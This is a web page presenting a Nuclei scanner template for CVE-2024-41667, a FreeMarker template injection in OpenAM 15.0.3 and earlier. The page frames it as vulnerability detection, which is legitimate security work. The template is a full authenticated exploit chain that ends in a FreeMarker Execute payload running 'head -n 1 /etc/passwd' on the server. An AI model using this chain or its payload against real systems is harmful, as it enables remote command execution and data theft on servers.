Skip to content

OpenAM<=15.0.3 FreeMarker - Template Injection

ID: CVE-2024-41667

Severity: high

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2024,intrusive,openam,ssti,authenticated

OpenAM is an open access management solution. In versions 15.0.3 and prior, the getCustomLoginUrlTemplate method in RealmOAuth2ProviderSettings.java is vulnerable to template injection due to its usage of user input

id: CVE-2024-41667
info:
name: OpenAM<=15.0.3 FreeMarker - Template Injection
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
OpenAM is an open access management solution. In versions 15.0.3 and prior, the `getCustomLoginUrlTemplate` method in RealmOAuth2ProviderSettings.java is vulnerable to template injection due to its usage of user input
reference:
- https://github.com/advisories/GHSA-7726-43hg-m23v
- https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-7726-43hg-m23v
- https://github.com/OpenIdentityPlatform/OpenAM/commit/fcb8432aa77d5b2e147624fe954cb150c568e0b8
- https://nvd.nist.gov/vuln/detail/CVE-2024-41667
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2024-41667
cwe-id: CWE-94
epss-score: 0.00043
epss-percentile: 0.09527
metadata:
max-request: 12
verified: true
tags: cve,cve2024,intrusive,openam,ssti,authenticated
flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7) && http(8) && http(9) && http(10) && http(11) && http(12)
variables:
username: "{{username}}"
password: "{{password}}"
http:
- raw:
- |
POST /openam/json/realms/root/authenticate HTTP/1.1
Host: {{Hostname}}
Accept-API-Version: protocol=1.0,resource=2.1
X-Password: anonymous
X-Username: anonymous
Content-Type: application/json
X-Requested-With: XMLHttpRequest
X-NoSession: true
matchers:
- type: word
part: body
words:
- "authId"
internal: true
extractors:
- type: regex
name: authId
part: body
group: 1
regex:
- '"authId":"(.*?)"'
internal: true
- raw:
- |
POST /openam/json/realms/root/authenticate HTTP/1.1
Host: {{Hostname}}
Accept-API-Version: protocol=1.0,resource=2.1
X-Password: anonymous
X-Username: anonymous
Content-Type: application/json
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
X-NoSession: true
{"authId":"{{authId}}","template":"","stage":"DataStore1","header":"Sign in to OpenAM","infoText":["",""],"callbacks":[{"type":"NameCallback","output":[{"name":"prompt","value":"User Name:"}],"input":[{"name":"IDToken1","value":"{{username}}"}]},{"type":"PasswordCallback","output":[{"name":"prompt","value":"Password:"}],"input":[{"name":"IDToken2","value":"{{password}}"}]}]}
matchers:
- type: word
part: body
words:
- "tokenId"
extractors:
- type: kval
name: csrf
part: header
internal: true
kval:
- iPlanetDirectoryPro
- raw:
- |
GET /openam/realm/RMRealm?RMRealm.tblDataActionHref=/&requester=XUI HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: pageSession1
part: body
group: 1
regex:
- 'jato.pageSession=(.*?)"'
- raw:
- |
GET /openam/agentconfig/Agents?Agents.tabCommon.TabHref=186&jato.pageSession={{pageSession1}}&requester=XUI HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: pageSession2
part: body
group: 1
regex:
- '"jato.pageSession" value="(.*?)"'
internal: true
- raw:
- |
POST /openam/agentconfig/Agents HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
jato.defaultCommand=%2Fg&jato.pageSession={{pageSession2}}
extractors:
- type: regex
name: pageSession3
part: body
group: 1
regex:
- '"jato.pageSession" value="(.*?)"'
internal: true
- raw:
- |
POST /openam/agentconfig/Agents HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
&Agents.tfFilter=*&Agents.tblSearch.PrimarySortNameHiddenField=tblDataName&Agents.tblSearch.PrimarySortOrderHiddenField=ascending&Agents.tblSearch.SecondarySortNameHiddenField=&Agents.tblSearch.SecondarySortOrderHiddenField=&Agents.tblSearch.AdvancedSortNameHiddenField=&Agents.tblSearch.AdvancedSortOrderHiddenField=&Agents.tblButtonAdd=New...&Agents.tblButtonDelete.DisabledHiddenField=true&Agents.tblSearch.SelectionCheckbox0.jato_boolean=false&Agents.tblDataUniversalName=id%3Dou%3Dagentonly%2Cdc%3Dopenam%2Cdc%3Dopenidentityplatform%2Cdc%3Dorg&Agents.tfGroupFilter=*&Agents.tblSearchGroup.PrimarySortNameHiddenField=tblDataGroupName&Agents.tblSearchGroup.PrimarySortOrderHiddenField=ascending&Agents.tblSearchGroup.SecondarySortNameHiddenField=&Agents.tblSearchGroup.SecondarySortOrderHiddenField=&Agents.tblSearchGroup.AdvancedSortNameHiddenField=&Agents.tblSearchGroup.AdvancedSortOrderHiddenField=&Agents.tblButtonGroupDelete.DisabledHiddenField=true&jato.defaultCommand=%2FbtnSearch&jato.pageSession={{pageSession3}}
extractors:
- type: regex
name: pageSession4
part: body
group: 1
regex:
- '"jato.pageSession" value="(.*?)"'
internal: true
- raw:
- |
POST /openam/agentconfig/AgentAdd HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
AgentAdd.button1=Create&AgentAdd.tfName={{randstr}}&AgentAdd.tfPassword=test&AgentAdd.tfPasswordConfirm=test&jato.defaultCommand=%2Fbutton1&jato.pageSession={{pageSession4}}
extractors:
- type: regex
name: pageSession5
part: body
group: 1
regex:
- '"jato.pageSession" value="(.*?)"'
internal: true
- raw:
- |
GET /openam/agentconfig/Agents?Agents.tblDataActionHref=id%3D{{randstr}}%2Cou%3Dagentonly%2Cdc%3Dopenam%2Cdc%3Dopenidentityplatform%2Cdc%3Dorg&jato.pageSession={{pageSession2}} HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: pageSession6
part: body
group: 1
regex:
- '"jato.pageSession" value="(.*?)"'
internal: true
- raw:
- |
POST /openam/agentconfig/GenericAgentProfile HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
GenericAgentProfile.button1=+Save+&GenericAgentProfile.agentgroup=&GenericAgentProfile.sunIdentityServerDeviceStatus=Active&GenericAgentProfile.userpassword=&GenericAgentProfile.userpassword_confirm=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientType=Confidential&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.listbox=https%3A%2F%2Fgithub.com&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.deleteButton.DisabledHiddenField=false&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.selectedTextField=https%3A%2F%2Fgithub.com%09https%3A%2F%2Fgithub.com&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.listbox=employeenumber&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.deleteButton.DisabledHiddenField=false&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.selectedTextField=employeenumber%09employeenumber&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.claims.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.claims.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.claims.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.claims.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.name.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.name.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.name.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.name.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.description.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.description.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.description.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.description.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultScopes.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultScopes.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultScopes.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultScopes.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.responseTypes.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.responseTypes.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.responseTypes.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.responseTypes.selectedTextField=code%09code%09token%09token%09id_token%09id_token%09code+token%09code+token%09token+id_token%09token+id_token%09code+id_token%09code+id_token%09code+token+id_token%09code+token+id_token&GenericAgentProfile.com.forgerock.openam.oauth2provider.contacts.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.contacts.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.contacts.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.contacts.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.tokenEndPointAuthMethod=client_secret_basic&GenericAgentProfile.com.forgerock.openam.oauth2provider.jwksURI=http%3A%2F%2Fkubernetes.docker.internal%3A8081%2Fopenam%2Foauth2%2Fconnect%2Fjwk_uri&GenericAgentProfile.com.forgerock.openam.oauth2provider.jwks=&GenericAgentProfile.com.forgerock.openam.oauth2provider.sectorIdentifierURI=&GenericAgentProfile.com.forgerock.openam.oauth2provider.subjectType=Public&GenericAgentProfile.com.forgerock.openam.oauth2provider.idTokenSignedResponseAlg=HS256&GenericAgentProfile.idTokenEncryptionEnabled.jato_boolean=false&GenericAgentProfile.idTokenEncryptionAlgorithm=RSA1_5&GenericAgentProfile.idTokenEncryptionMethod=A128CBC-HS256&GenericAgentProfile.idTokenPublicEncryptionKey=&GenericAgentProfile.com.forgerock.openam.oauth2provider.postLogoutRedirectURI.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.postLogoutRedirectURI.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.postLogoutRedirectURI.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.postLogoutRedirectURI.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.accessToken=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientSessionURI=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientName.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientName.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientName.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientName.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientJwtPublicKey=&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultMaxAge=600&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultMaxAgeEnabled.jato_boolean=false&GenericAgentProfile.com.forgerock.openam.oauth2provider.publicKeyLocation=jwks_uri&GenericAgentProfile.com.forgerock.openam.oauth2provider.authorizationCodeLifeTime=0&GenericAgentProfile.com.forgerock.openam.oauth2provider.refreshTokenLifeTime=0&GenericAgentProfile.com.forgerock.openam.oauth2provider.accessTokenLifeTime=0&GenericAgentProfile.com.forgerock.openam.oauth2provider.jwtTokenLifeTime=0&GenericAgentProfile.isConsentImplied.jato_boolean=false&jato.pageSession={{pageSession6}}
matchers:
- type: word
part: body
words:
- '<div class="AlrtMsgTxt">Profile was updated.</div>'
- raw:
- |
POST /openam/json/realms/root/realm-config/services/oauth-oidc?_action=create HTTP/1.1
Host: {{Hostname}}
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Connection: keep-alive
{}
matchers:
- type: word
part: body
words:
- 'message'
- 'reason'
- 'code'
condition: and
- raw:
- |
PUT /openam/json/realms/root/realm-config/services/oauth-oidc HTTP/1.1
Host: {{Hostname}}
X-Requested-With: XMLHttpRequest
Content-Type: application/json
{"advancedOAuth2Config":{"customLoginUrlTemplate":"<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"head -n 1 /etc/passwd\")}"},"deviceCodeConfig":{"completionUrl":"","verificationUrl":"","devicePollInterval":5,"deviceCodeLifetime":300},"oidcSsoProviderEnabled":false,"_id":"","_type":{"_id":"oauth-oidc","name":"OAuth2 Provider","collection":false}}
matchers:
- type: word
part: body
words:
- 'advancedOAuth2Config'
- 'customLoginUrlTemplate'
condition: and
- raw:
- |
GET /openam/oauth2/realms/root/authorize?client_id={{randstr}}&scope=employeenumber&redirect_uri=https://github.com&response_type=code&csrf={{csrf}}&max_age=200 HTTP/1.1
Host: {{Hostname}}
disable-cookie: true
matchers:
- type: dsl
dsl:
- 'contains(urldecode(location),"root:x:0:0:")'
# digest: 4a0a004730450220538ba5b41ef687e1ab55632c1abe97618d8e6c20822472826bafa76c58fbf9e7022100c3e21901d81207b1eae4bf64dffe4c20f68c1aa04f435aeaa31bb68ee7fcc372:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-41667.yaml"

View on Github